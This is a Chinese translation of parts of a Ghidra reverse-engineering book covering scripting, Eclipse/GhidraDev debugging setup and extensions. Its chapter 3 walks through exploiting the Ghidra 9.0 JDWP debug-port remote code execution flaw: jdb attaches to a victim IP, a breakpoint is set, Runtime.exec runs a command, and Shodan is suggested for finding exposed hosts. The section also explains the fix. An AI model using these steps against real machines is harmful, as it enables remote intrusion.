如果你想使用 Python 编写脚本,API 与 Java 相同,脚本的骨架包含一个头部(脚本的其余部分必须由你自己填写),这与 Java 的非常相似:
#TODO write a description for this script
#@author
#@category Strings
#@keybinding
#@menupath
#@toolbar
#TODO Add User Code Here
事实上,Java API 通过 Jython 被暴露给 Python,Jython 是一个设计用于在 Java 平台上运行的 Python 编程语言实现。
如果你进入 窗口 然后选择 Python,将会出现一个 Python 解释器,当按下 Tab 键时会启用自动完成:
图 2.11 – Ghidra Python 解释器的自动完成特性
它还允许你通过使用 help() 函数查看文档。如你所见,在开发 Ghidra 脚本时,强烈推荐保持 Ghidra Python 解释器打开,这样可以快速访问文档、测试代码片段等,非常有用:
图 2.12 – 使用 Python 解释器查询 Ghidra 帮助
在这一部分,我们介绍了脚本类及其结构,如何查询 Ghidra API 文档以实现它,以及 Python 解释器在开发过程中如何帮助我们。在下一部分,我们将通过编写 Ghidra 脚本来实践这一点。
脚本开发
现在你已经了解了实现自己脚本所需的一切。我们从编写头部开始。这个脚本将允许你用无操作指令(NOP 汇编操作码)修补字节。
首先,我们开始编写头部。请注意,@keybinding 允许我们通过 Ctrl + Alt + Shift + N 快捷键组合来执行脚本:
//This simple script allows you to patch bytes with NOP opcode
//@author Packt
//@category Memory
//@keybinding ctrl alt shift n
//@menupath Tools.Packt.nop
//@toolbar
import ghidra.app.script.GhidraScript;
import ghidra.program.model.util.*;
import ghidra.program.model.reloc.*;
import ghidra.program.model.data.*;
import ghidra.program.model.block.*;
import ghidra.program.model.symbol.*;
import ghidra.program.model.scalar.*;
import ghidra.program.model.mem.*;
import ghidra.program.model.listing.*;
import ghidra.program.model.lang.*;
import ghidra.program.model.pcode.*;
import ghidra.program.model.address.*;
然后,我们的脚本只需要做的是获取 Ghidra 中当前的光标位置(currentLocation 变量),然后获取该位置的地址(第 03 行),该地址处的指令是未定义的(第 06 到 08 行),用 NOP 指令操作码(即 0x90,第 09 到 11 行)修补该字节,再次反汇编字节(第 12 行)。这里要做的重要工作是寻找合适的 API 函数,这些函数可以在提到的 Javadoc 文档中找到:
00 public class NopScript extends GhidraScript {
01
02 public void run() throws Exception {
03 Address startAddr = currentLocation.getByteAddress();
04 byte nop = (byte)0x90;
05 try {
06 Instruction instruction = getInstructionAt(startAddr)
07 int istructionSize =
instruction.getDefaultFallThroughOffset();
08 removeInstructionAt(startAddr);
09 for(int i=0; i<istructionSize; i++){
10 setByte(startAddr.addWrap(i), nop);
11 }
12 disassemble(startAddr);
13 }
14 catch (MemoryAccessException e) {
15 popup("Unable to nop this instruction");
16 return;
17 }
18 }
19 }
当然,如你所知,将这段代码转换为 Python 非常简单,因为如前所述,两个语言的 API 是相同的:
#This simple script allows you to patch bytes with NOP opcode
#@author Packt
#@category Memory
#@keybinding ctrl alt shift n
#@menupath Tools.Packt.Nop
#@toolbar
currentAddr = currentLocation.getByteAddress()
nop = 0x90
instruction = getInstructionAt(currentAddr)
instructionSize = instruction.getDefaultFallThroughOffset()
removeInstructionAt(currentAddr)
for i in range(instructionSize):
setByte(currentAddr.addWrap(i), nop)
disassemble(currentAddr)
在这一部分,我们介绍了如何用两种支持的语言编写简单的 Ghidra 脚本:Java 和 Python。
总结
在这一章,你学习了如何使用现有的 Ghidra 脚本,如何轻松地根据需求调整它们,最后,如何为你喜欢的编程语言编写一个极其简单的脚本,作为本主题的入门。
在 第六章,脚本化恶意软件分析,和 第九章,脚本化二进制审计,你将通过开发和分析更复杂的脚本来提高你的 Ghidra 脚本技能,这些脚本用于恶意软件分析和二进制审计。
在下一章,你将学习如何通过将 Ghidra 与 Eclipse IDE 集成来调试 Ghidra,这是一个极其有用且必备的技能,能帮助你扩展 Ghidra 的功能,同时也是探索其内部工作原理的关键。
问题
-
为什么 Ghidra 脚本有用?你能用它们做些什么?
-
脚本在 Ghidra 中是如何组织的?这种组织方式是与它自身的源代码有关,还是与脚本在文件系统中的位置相关?
-
为什么 Java 和 Python 的 Ghidra 脚本 API 之间没有区别?
第三章:第三章:Ghidra 调试模式
在本章中,我们将介绍 Ghidra 调试模式。通过使用 Eclipse IDE,你将能够以专业的方式开发和调试 Ghidra 的任何功能,包括前一章中介绍的插件。
我们选择使用 Eclipse IDE(https://ghidra-sre.org/InstallationGuide.html),因为它是 Ghidra 官方支持的唯一 IDE。从技术上讲,可以使用其他 IDE,但它们并未被官方支持。Ghidra 调试模式功能在 Ghidra 9.0 版本中存在严重的安全问题,因此请使用该程序的任何较新版本来部署开发环境。在本书编写时,当前安全且稳定的版本是 9.1.2。
最后,你将学习如何利用 远程代码执行(RCE)漏洞。
在本章中,我们将涵盖以下主要内容:
-
设置 Ghidra 开发环境
-
调试 Ghidra 代码和 Ghidra 脚本
-
Ghidra 远程代码执行(RCE)漏洞
技术要求
包含本章所需所有代码的 GitHub 仓库可在此处找到:
github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners
请查看以下链接观看《代码实战》视频:bit.ly/37EfC5a
设置 Ghidra 开发环境
本章所需安装的以下软件要求:
-
适用于 x86_64 的 Java JDK 11(可在此处下载:
adoptopenjdk.net/releases.html?variant=openjdk11&jvmVariant=hotspot)。 -
Java 开发者的 Eclipse IDE(任何支持 JDK 11 的版本,下载链接:
www.eclipse.org/downloads/packages/),因为它是 Ghidra 官方集成和支持的 IDE。 -
PyDev 6.3.1(可在此处下载:
netix.dl.sourceforge.net/project/pydev/pydev/PyDev%206.3.1/PyDev%206.3.1.zip)。 -
GhidraDev 插件(可在此处下载:
github.com/NationalSecurityAgency/ghidra/tree/f33e2c129633d4de544e14bc163ea95a4b52bac5/GhidraBuild/EclipsePlugins/GhidraDev)。
软件要求概述
我们需要 Java 开发工具包(JDK)和 PyDev,因为它们分别允许我们使用 Java 和 Python 编程语言。Eclipse 是 Ghidra 开发的官方集成和支持的 IDE。
尽管 Eclipse 是唯一官方支持的 IDE,但从技术上讲,也可以将 IntelliJ 与 Ghidra 集成(reversing.technology/2019/11/18/ghidra-dev-pt3-dbg.html)或与任何其他 IDE 集成,以便用于高级目的并深入探讨集成的工作原理。
如果需要,你可以安装更多的依赖项。实际上,可能需要更多的依赖项来调试和/或开发特定组件。
Ghidra DevGuide 文档
如果你想安装所有必要的依赖项以创建完整的 Ghidra 开发环境,那么你可以参考文档中的依赖项目录,该目录对于设置环境时回答特定问题也非常有用。你可以在 https://github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md 找到相关文档。文档中目前明确指出,你可以按任意顺序安装这些依赖项,但在此情况下,建议首先安装 Java JDK,因为 Eclipse 后续会用到它。
安装 Java JDK
JDK 的安装很简单。首先,你需要解压 ZIP 文件并将 JAVA_HOME 环境变量设置为 JDK 解压位置,然后将其 bin 目录的路径添加到 PATH 环境变量中。
你可以通过打印JAVA_HOME的内容和 Java 版本来检查 JDK 是否安装成功。为此,可以使用以下两个命令并检查输出:
C:\Users\virusito>echo %JAVA_HOME%
C:\Program Files\jdk-11.0.6+10
C:\Users\virusito>java –version
openjdk version "11.0.6" 2020-01-14
OpenJDK Runtime Environment AdoptOpenJDK (build 11.0.6+10)
OpenJDK 64-Bit Server VM AdoptOpenJDK (build 11.0.6+10, mixed mode)
上面的输出表示 JDK 11.0.6 已成功安装和配置。
安装 Eclipse IDE
一旦 Java JDK 安装完成,接下来我们可以安装Eclipse IDE for Java Developers(其他 Eclipse 安装可能会有问题),通过从其官方网站的下载包部分下载(https://www.eclipse.org/downloads/packages/):
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_001.jpg)
图 3.1 – 下载 Eclipse IDE for Java Developers
下一步是从 Eclipse 安装 PyDev。
安装 PyDev
安装 Eclipse 后,右键点击之前下载的 PyDev 6.3.1 ZIP 文件,选择全部解压…,将其内容解压到一个文件夹中:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_002.jpg)
图 3.2 – 将 PyDev 解压到一个文件夹
将 PyDev 6.3.1.zip 的所有内容解压到名为 PyDev 6.3.1 的文件夹中:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_003.jpg)
图 3.3 – 解压 PyDev 6.3.1.zip 文件的内容
从 Eclipse 中安装,方法是点击安装新软件…选项,在帮助菜单下,然后将解压后的 PyDev 压缩包文件夹路径添加为本地仓库(如下截图中的**本地…**选项):
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_007.jpg)
图 3.4 – 将 PyDev 添加为 Eclipse 本地仓库
在这一点上卡住是非常常见的。如您所见,在以下截图中,没有按类别分组的项目。请取消勾选按类别分组项目选项,以避免这种情况:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_005.jpg)
图 3.5 – PyDev 插件安装程序不可见,因为安装程序按类别分组
在取消勾选按类别分组项目后,您将能够选择PyDev for Eclipse选项以进行安装:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_009.jpg)
图 3.6 – 检查是否安装 PyDev
点击**下一步 >**继续安装:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_005.jpg)
图 3.7 – 审核待安装的项目
在安装 PyDev 之前,您必须接受许可协议:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_010.jpg)
图 3.8 – 接受 PyDev 许可协议
安装 PyDev 后,您需要重新启动 Eclipse,以便软件的更改生效:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_008.jpg)
图 3.9 – 重启 Eclipse
完成此步骤后,您将获得 Eclipse 的 Python 支持。您可以通过点击帮助 | 关于 Eclipse IDE | 安装详情来检查:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_009.jpg)
图 3.10 – 验证 PyDev 是否成功安装到 Eclipse 中
此 Eclipse 菜单还可以用于更新、卸载以及查看任何已安装的 Eclipse IDE 扩展的属性。
安装 GhidraDev
与我们安装 PyDev 类似,对于 Ghidra/Eclipse 同步,您需要安装 GhidraDev 插件,该插件可在 Ghidra 安装目录下的 Extensions\Eclipse\GhidraDev\GhidraDev-2.1.0.zip 找到,但这次不要解压它,而是使用**归档…**选项:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_008.jpg)
图 3.11 – 将 GhidraDev 添加为 Eclipse 本地仓库
之后,点击添加。在这种情况下,您无需担心按类别分组项目选项,因为已经有一个Ghidra类别,里面包含了我们感兴趣的GhidraDev插件。只需确保勾选GhidraDev选项,然后点击**下一步 >**按钮:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_012.jpg)
图 3.12 – 安装 GhidraDev 插件
之后,您可以利用这个机会查看安装详情。再次点击**下一步 >**继续安装 GhidraDev:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_013.jpg)
图 3.13 – 审核待安装的项目
接受 GhidraDev 许可协议并点击完成:
图 3.14 – 接受 GhidraDev 许可条款
在这种情况下,安全警告将会出现。不要担心。插件的真实性无法验证,因为它没有签名。点击仍然安装继续:
图 3.15 – 接受安全警告
为了使更改生效,请点击立即重启来重启 Eclipse IDE:
图 3.16 – 重启 Eclipse IDE
如您所知,您可以通过帮助 | 关于 Eclipse IDE | 安装详情来检查是否安装了 GhidraDev。但在这种情况下,插件已经集成到 Eclipse 的菜单栏中,因此您可以通过检查菜单栏轻松发现安装是否成功:
图 3.17 – 安装 GhidraDev 插件
安装完成后,GhidraDev 插件将被安装,您还可以指定 Ghidra 安装的位置,以便将它们链接到您的开发项目中。使用GhidraDev | 首选项 | **Ghidra 安装…**来进行操作。
在这种情况下,我有两个 Ghidra 安装(Ghidra_9.1.1_PUBLIC 和 Ghidra_9.1.1_PUBLIC - other),其中 Ghidra_9.1.1_PUBLIC 被选为默认。可以通过点击添加…按钮来添加 Ghidra 安装,也可以通过选择表格中的安装行并点击删除来删除安装:
图 3.18 – 将 Ghidra 安装目录添加到 GhidraDev
在接下来的部分,我们将介绍 Ghidra 调试,它不仅使我们能够识别和修复脚本中的编程错误,还能一步步地跟踪 Ghidra 的执行。调试能力将非常有用,因为它为您打开了 Ghidra 的所有低级内部细节,以供娱乐和高级开发使用。
调试 Ghidra 代码和 Ghidra 脚本
在本节中,我们将探讨如何从 Eclipse 中调试 Ghidra 功能。我们将从回顾如何开发脚本以及如何调试它们开始,然后通过展示如何从源代码调试任何 Ghidra 组件来结束。
从 Eclipse 调试 Ghidra 脚本
现在,让我们开始调试一个 Ghidra 脚本。首先,我们需要使用默认或建议的值 GhidraScripts 创建一个新的 Ghidra 项目:
图 3.19 – 创建 Ghidra 脚本项目
点击C:\Users\virusito\ghidra_scripts后,您将看到与您的 Ghidra 安装一起包含的脚本和复选框:
图 3.20 – 配置新的 Ghidra 脚本项目
您将能够选择通过GhidraDev | Preferences | **Ghidra Installations…之前配置的 Ghidra 安装,您还可以通过+**按钮打开 Ghidra 安装窗口,添加或删除 Ghidra 安装目录:
图 3.21 – 将 Ghidra 安装与正在创建的 Ghidra 脚本项目关联
点击**Next >后,您将能够通过 Jython 启用 Python 支持。您可以添加随 Ghidra 提供的 Jython 解释器,也可以通过点击+**按钮下载您自己的解释器(下载链接:www.jython.org/download):
图 3.22 – 通过 Jython 将 Python 支持添加到 Ghidra 脚本项目
如果您想使用随 Ghidra 提供的解释器(位于以下目录:\Ghidra\Features\Python\lib\jython-standalone-2.7.1.jar),并且已经将 Ghidra 与项目关联,您将看到这个选项,这样可以避免手动寻找解释器。请在对话框中确认选择:
图 3.23 – 自动添加随 Ghidra 提供的 Jython 解释器
之后,您将拥有一个可用的 Jython 解释器,它足以满足一般需求。但如果您在任何时候需要链接自己的解释器,请点击**+** | New… | Browse,然后在添加自己的 Jython 解释器后点击OK:
图 3.24 – 添加您自己的 Jython 解释器
如果您收到以下消息,请点击Proceed anyways:
图 3.25 – 在 Eclipse 中将 Python 标准库添加到 PYTHONPATH
使用以下命令获取/Lib文件夹路径:
C:\Users\virusito>python -c "from distutils.sysconfig import get_python_lib; print(get_python_lib())"
c:\Python27\Lib\site-packages
C:\Users\virusito>
使用New Folder将该文件夹添加到PYTHONPATH中,并在确认已添加后,如下图所示,点击Apply and Close:
图 3.26 – 应用 PYTHONPATH 中的更改
现在,您可以选择自己的解释器或 Ghidra 中包含的另一个解释器。做出选择后点击Finish:
图 3.27 – 选择可用的 Jython 解释器
在开始实际调试之前,首先让我们看看我们的环境情况,并注意以下几点。
我们创建的 Ghidra 脚本项目由一些文件夹组成,这些文件夹包含了你 Ghidra 安装目录中现有的脚本(你可以通过在 Eclipse 中按下Alt + Enter 快捷键组合来检查任何这些文件夹的路径),默认还包括你的个人脚本,位于%userprofile%\ghidra_scripts\ 文件夹中。
JUnit 4,JDK(JRE 系统库)以及引用库(包括 Ghidra 库)也被链接到项目中,还有整个 Ghidra 安装文件夹:
图 3.28 – Ghidra 脚本项目结构
通过右键点击项目并选择运行方式或调试方式,你会注意到,在安装 GhidraDev 插件时,分别自动创建了两种运行和调试模式。
第一个,Ghidra 运行模式,允许你在 GUI 环境中运行 Ghidra,而第二个,Ghidra Headless,则允许你在非 GUI 模式下执行 Ghidra:
图 3.29 – 项目运行模式
让我们通过将 第二章 中开发的 NopScript.java Ghidra 脚本代码粘贴到已集成 Ghidra 的 Eclipse 中来调试它,通过 Ghidra 脚本自动化 RE 任务。
为了创建一个新的脚本,按照以下步骤操作:
-
转到GhidraDev | 新建 | Ghidra 脚本…:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_030.jpg
图 3.30 – 创建一个新的 Ghidra 脚本
-
填写所需的字段,如下所示:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_031.jpg
图 3.31 – 创建 NopScript.java Ghidra 脚本
-
让 GhidraDev 生成相应的脚本框架。通过粘贴 第二章 中编写的
NopScript.javaGhidra 脚本代码来填写脚本主体,通过 Ghidra 脚本自动化 RE 任务:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_032.jpg图 3.32 – 用 NopScript.java 代码覆盖框架代码
-
你可以通过在脚本的某些行上添加断点来让程序暂停。可以通过右键点击你想要暂停的行号并选择切换断点来设置断点。或者,双击该行号或按下Ctrl + Shift + B 组合键,同时保持鼠标焦点在该行上也能生效:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_033.jpg
图 3.33 – 在脚本的第 17 行设置断点
-
现在,你可以通过右键点击该代码并选择调试方式 | Ghidra来调试此代码:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_034.jpg
图 3.34 – 调试 Ghidra 脚本
-
为了强制 Ghidra 到达设置了断点的那一行,你需要在 Ghidra 中运行插件,作用于文件的某个字节,这时它会与 Eclipse 同步,通过 GhidraDev 插件实现。由于该脚本已经将 Ctrl + Alt + Shift + N 快捷键关联起来,你可以使用它们在文件的字节上执行脚本:
图 3.35 – 在 Ghidra 中调试 NopScript.java
同样,Ghidra Python 脚本也可以通过 Eclipse 中的 PyDev 集成进行调试:
图 3.36 – 在 Ghidra 中调试 NopScript.py
同样的过程不仅适用于自定义脚本,也适用于项目中的任何其他插件。
从 Eclipse 调试任何 Ghidra 组件
你不仅可以调试插件,还可以调试 Ghidra 中的任何功能。例如,如果你想调试 Graph.jar:
图 3.37 – 将 Graph.jar 文件添加到构建路径中
然后,你可以将 JAR 文件(现在已添加到构建路径中)链接到其源代码。源代码位于同一文件夹中,命名为 Graph-src.zip。要链接源代码,你需要通过右键单击 JAR 文件打开 Graph.jar 的属性,然后在 Java 源代码附件 部分的 工作区位置 字段中附加该 ZIP 文件:
图 3.38 – 将 Graph.jar 文件链接到其源代码
之后,你将能够展开 Graph.jar 文件,显示其中包含的 *.class 文件。由于源代码已被链接,你将能够查看源代码。你还可以向源代码添加断点,在调试会话期间,当相应的代码行被执行时,断点会被触发:
图 3.39 – 调试功能图谱特性
在本节中,你学习了如何通过 GhidraDev 插件将 Eclipse 与 Ghidra 集成。我们展示了如何从 IDE 中开发和调试 Ghidra 插件,并最终如何调试你选择的 Ghidra 功能,这使你能够独立掌握 Ghidra 内部的工作原理。
Ghidra RCE 漏洞
在本节中,我们将学习如何发现 Ghidra 9.0 中的 RCE 漏洞,它是如何工作的,如何利用它,以及如何修复它。
解释 Ghidra RCE 漏洞
漏洞是由于在 Windows 平台上运行 Ghidra 时位于 launch.bat 文件中的一行,或在 Linux 或 macOS 上运行时位于 launch.sh 文件中的一行。以下是涉及的那行代码:
-Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}
漏洞在 Ghidra 9.0.1 的第二个版本中被修复,通过替换表示允许所有地址附加调试器的星号(*),并将其限制为 localhost:
-Xrunjdwp:transport=dt_socket,server=y,suspend=!SUSPEND!,address=!DEBUG_ADDRESS!
如你所见,这个漏洞显而易见,具有讽刺意味的是,它可能正因为这个原因而被忽视。
利用 Ghidra RCE 漏洞
为了利用这个 RCE 漏洞,我们通过执行调试模式下的 Ghidra 9.0 来设置一个易受攻击的机器。这可以通过执行ghidraDebug.bat文件来完成:
C:\Users\virusito\Desktop\ghidra_9.0_PUBLIC\support>ghidraDebug.bata
Listening for transport dt_socket at address: 18001
然后,我们检索到3828,如以下列表所示:
C:\Users\virusito>tasklist /fi "IMAGENAME eq java.exe" /FO LIST | FIND "PID:"
PID: 3828
然后,我们使用netstat列出与其相关的活动连接:
C:\Users\virusito>netstat -ano | FINDSTR 3828
TCP 127.0.0.1:18001 0.0.0.0:0 LISTENING 3828
如您在之前的列表中所见,已向全世界打开了一个监听连接,如0.0.0.0:0所示。然后,我们可以从任何地方建立连接。使用以下代码,替换VICTIM_IP_HERE为受害者的 IP 地址:
C:\Users\virusito>jdb -connect com.sun.jdi.SocketAttach:port=18001,hostname=VICTIM_IP_HERE
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
然后,查找一个可以运行的类,该类如果已经建立,可能很快就会触发断点:
>classes
...
javax.swing.RepaintManager$DisplayChangedHandler
javax.swing.RepaintManager$PaintManager
javax.swing.RepaintManager$ProcessingRunnable
javax.swing.RootPaneContainer
javax.swing.ScrollPaneConstants
...
当重绘窗口时,javax.swing.RepaintManager$ProcessingRunnable将被触发。这是一个非常好的候选项。让我们通过使用stop命令在它上面添加一个断点:
> stop in javax.swing.RepaintManager$ProcessingRunnable.run()
Set breakpoint javax.swing.RepaintManager$ProcessingRunnable.run()
然后,断点很快被触发:
Breakpoint hit: "thread=AWT-EventQueue-0", javax.swing.RepaintManager$ProcessingRunnable.run(), line=1.871 bci=0
在这种情况下,您可以执行任何任意命令。我将通过calc.exe执行一个计算器,但您可以将其替换为任何命令注入有效负载:
AWT-EventQueue-0[1] print new java.lang.Runtime().exec("calc.exe")
new java.lang.Runtime().exec("calc.exe") = "Process[pid=9268, exitValue="not exited"]"
在这个案例中,Windows 计算器程序在被黑客攻击的计算机上执行。我们知道攻击是成功的,因为我们获得了反馈,表明在受害者的机器上创建了一个新进程,进程 ID 为9268。
修复 Ghidra RCE 漏洞
为了修复漏洞,DEBUG_ADDRESS变量被设置为127.0.0.1:18001,这样可以将传入的调试连接限制为localhost:
if "%DEBUG%"=="y" (
if "%DEBUG_ADDRESS%"=="" (
set DEBUG_ADDRESS=127.0.0.1:18001
)
手动审查这些行可以让你自己检查给定的 Ghidra 版本是否容易受到此攻击。
寻找易受攻击的计算机
Ghidra RCE 漏洞是一个小而极为重要的错误,因为易受攻击的计算机可以通过一种直接的方式被定位;例如,通过查询 Shodan(你需要一个 Shodan 账户并且登录,否则这个链接的结果将无法访问):www.shodan.io/search?query=port:18001。
正如你所知道的,这个漏洞可能并不是国家安全局(NSA)给程序留下的后门。NSA 有自己的零日漏洞来入侵计算机,肯定不需要为了入侵全球人民的计算机而在自己的程序中插入后门。事实上,这样做对它的声誉来说将是一个非常糟糕的举动。
重要提示
在使用调试模式时,确保你使用的是修补版本的 Ghidra,因为使用易受攻击的 Ghidra 版本存在被黑客攻击的高风险。
总结
在本章中,你学习了如何使用 GhidraDev 插件同步 Eclipse 和 Ghidra,以便进行开发和调试。你学到的不仅是调试脚本的技能,还能调试任何 Ghidra 源代码行,使你能够独立探索这个强大的框架的内部机制。
我们还了解了 Ghidra RCE 漏洞的工作原理,如何修补它,如何利用它,以及为什么它可能不是 NSA 的后门。在下一章,我们将介绍用于从源代码自由扩展 Ghidra 的 Ghidra 插件。
问题
-
是否可以使用源代码而非字节码调试已编译的 Ghidra 版本?
-
是否可以使用除 Eclipse 以外的 IDE 调试 Ghidra?其他 IDE 是否受支持?
-
你认为 NSA 监视 Ghidra 用户的可能性大吗?你认为这可能包括后门吗?
深入阅读
你可以参考以下链接,获取更多有关本章涉及主题的信息:
-
JVM 语言入门,Vincent van der Leun,2017 年 6 月:
subscription.packtpub.com/book/application_development/9781787127944 -
无需 Eclipse 即可开发 Ghidra:
reversing.technology/2019/11/18/ghidra-dev-pt1.html -
完整的 Metasploit 指南,Sagar Rahalkar 和 Nipun Jaswal,2019 年 6 月:
subscription.packtpub.com/book/security/9781838822477
第四章:第四章:使用 Ghidra 扩展
在本章中,我们将介绍 Ghidra 扩展或模块。通过使用 Ghidra 扩展,您将能够根据需要将新功能集成到 Ghidra 中。
扩展是可选组件,可以通过实验性或用户贡献的 Ghidra 插件或分析器扩展 Ghidra 的功能。例如,使用扩展,您可以将其他工具集成到 Ghidra 中,如 Eclipse 或 IDA Pro。
我们将继续使用 Eclipse IDE 进行开发,但还需要安装 Gradle 以编译 Ghidra 扩展。Ghidra 程序及其扩展都已准备好使用 Gradle 进行构建。
通过开发扩展或模块(以前称为 contribs),您将能够对 Ghidra 项目做出更高的贡献(例如,增加与其他逆向工程工具的集成、支持新的文件格式和处理器等),而不仅仅是开发简单的插件。
最后,您将学习如何使用 Eclipse IDE 进行扩展开发,以及如何在开发过程结束后从 Eclipse 导出 Ghidra 扩展。
在本章中,我们将涵盖以下主要内容:
-
安装现有的 Ghidra 扩展
-
理解 Ghidra 扩展骨架
-
开发 Ghidra 扩展
技术要求
本章的要求如下:
-
针对 x86_64 架构的 Java JDK 11(可在此下载:
adoptopenjdk.net/releases.html?variant=openjdk11&jvmVariant=hotspot) -
Java 开发人员版的 Eclipse IDE(任何支持 JDK 11 的版本,点击此链接下载:
www.eclipse.org/downloads/packages/),因为它是 Ghidra 官方集成并支持的 IDE -
Gradle(编译 Ghidra 扩展所需的构建自动化工具):
gradle.org/install/ -
PyDev 6.3.1(可在此下载:
netix.dl.sourceforge.net/project/pydev/pydev/PyDev%206.3.1/PyDev%206.3.1.zip)
假设您已经按照上一章的说明安装了 Java JDK 11、PyDev 6.3.1 和 Eclipse Java 开发人员版 IDE,您还需要一些额外的软件要求才能编译 Ghidra 扩展:gradle.org/next-steps/?version=5.0&format=bin。
安装 Gradle 是一个简单的过程。它包括将 ZIP 文件解压到C:\Gradle\文件夹(按照官方安装文档的说明),然后设置GRADLE_HOME系统环境变量指向C:\Gradle\gradle-5.0,最后将%GRADLE_HOME%\bin添加到PATH系统环境变量中。
包含本章节所有必要代码的 GitHub 仓库可以在 github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter04 中找到。
查看以下链接,观看“代码实践”视频:bit.ly/2VTiUfw
安装 Gradle 文档
有关安装 Gradle 的更多详细信息,请参阅官方在线文档:docs.gradle.org/current/userguide/installation.html。您也可以参考 Gradle ZIP 文件中的离线文档:getting-started.html。
安装现有的 Ghidra 扩展
Ghidra 扩展是扩展 Ghidra 功能的 Java 代码,作为可安装的包进行分发。Ghidra 扩展可以访问 Ghidra 的内部,允许它们自由扩展 Ghidra。
在安装 Ghidra 后,您可以在适当的 ghidra_9.1.2\ Extensions\Ghidra 文件夹中找到一些现成可用的扩展:
-
ghidra_9.1.2_PUBLIC_20200212_GnuDisassembler.zip -
ghidra_9.1.2_PUBLIC_20200212_sample.zip -
ghidra_9.1.2_PUBLIC_20200212_SampleTablePlugin.zip -
ghidra_9.1.2_PUBLIC_20200212_SleighDevTools.zip
让我们看看安装这些现成扩展的步骤。请打开 Chapter04 Ghidra 项目,hello world.gpr,并按照以下步骤操作:
-
这些扩展可以通过点击 Ghidra 中的
Extensions\Ghidra目录轻松安装。 -
在勾选 SampleTablePlugin 并点击 确定 后,您将看到以下屏幕,这样您就可以确认已勾选该扩展:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_002.jpg
图 4.2 – 安装 SampleTablePlugin 后出现的“扩展已更改!”消息
-
点击确定并手动重启 Ghidra 后,当通过 工具 | 运行工具 | 代码浏览器 打开 CodeBrowser 时,会弹出一个提示消息,询问是否配置插件:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_003.jpg
图 4.3 – 安装 SampleTablePlugin 并重启 Ghidra 后出现的“发现新插件!”消息
-
通过肯定回答,我们可以趁机配置我们感兴趣的插件:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_004.jpg
图 4.4 – 样本表插件配置
-
完成此步骤后,名为 样本表提供者 的新选项将出现在 窗口 菜单中:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_005.jpg
图 4.5 – 插件实现的样本表提供者窗口
-
点击它,你将看到 Ghidra 的功能已经通过一个停靠窗口得到了扩展,允许你计算函数度量。在这种情况下,我在反汇编窗口中检查了
__main函数。你可以使用过滤器选项在符号树窗格中轻松定位
__main函数(注意它以两个_字符开头):
图 4.6 – 使用符号树在反汇编中定位__main函数
运行针对__main的算法结果如下所示:
图 4.7 – 在 __main 函数上执行的示例表格提供器
在接下来的章节中,我们将分析这个 Ghidra 扩展的源代码。
分析示例表格提供器插件的代码
大多数 Ghidra 组件都是可扩展的,但在开发时,你必须首先决定你处理的项目类型:分析器、插件、加载器、文件系统或导出器。
在这种情况下,示例表格提供器由一个 Ghidra 插件扩展组成。插件扩展是一个从ghidra.app.plugin.ProgramPlugin类扩展的程序,使其能够处理最常见的程序事件,并实现 GUI 组件。
让我们查看ghidra_9.1.2_PUBLIC_20200212_SampleTablePlugin.zip中的SampleTablePlugin\lib\SampleTablePlugin-src\ghidra\examples目录下可用的代码。
示例表格提供器的插件部分由SampleTablePlugin.java文件实现,该类从ghidra.app.plugin.ProgramPlugin扩展,使你能够在与当前函数相关的事件发生时更新其内部currentFunction属性,正如在第三章中提到的,Ghidra 调试模式:
public class SampleTablePlugin extends ProgramPlugin {
private SampleTableProvider provider;
private Function currentF unction;
由于SampleTableModel.java通过继承ThreadedTableModelStub实现了表格模型,ThreadedTableModelStub允许作为一行的抽象数据类型,这样你就可以定义一个自定义类来存储这些行。在这种情况下,行是其类为FunctionStatsRowObject的对象:
class SampleTableModel extends ThreadedTableModelStub<FunctionStatsRowObject> {
private SampleTablePlugin plugin;
SampleTableModel(SampleTablePlugin plugin) {
FunctionStatsRowObject.java类是一个包含行字段的 Java 类:
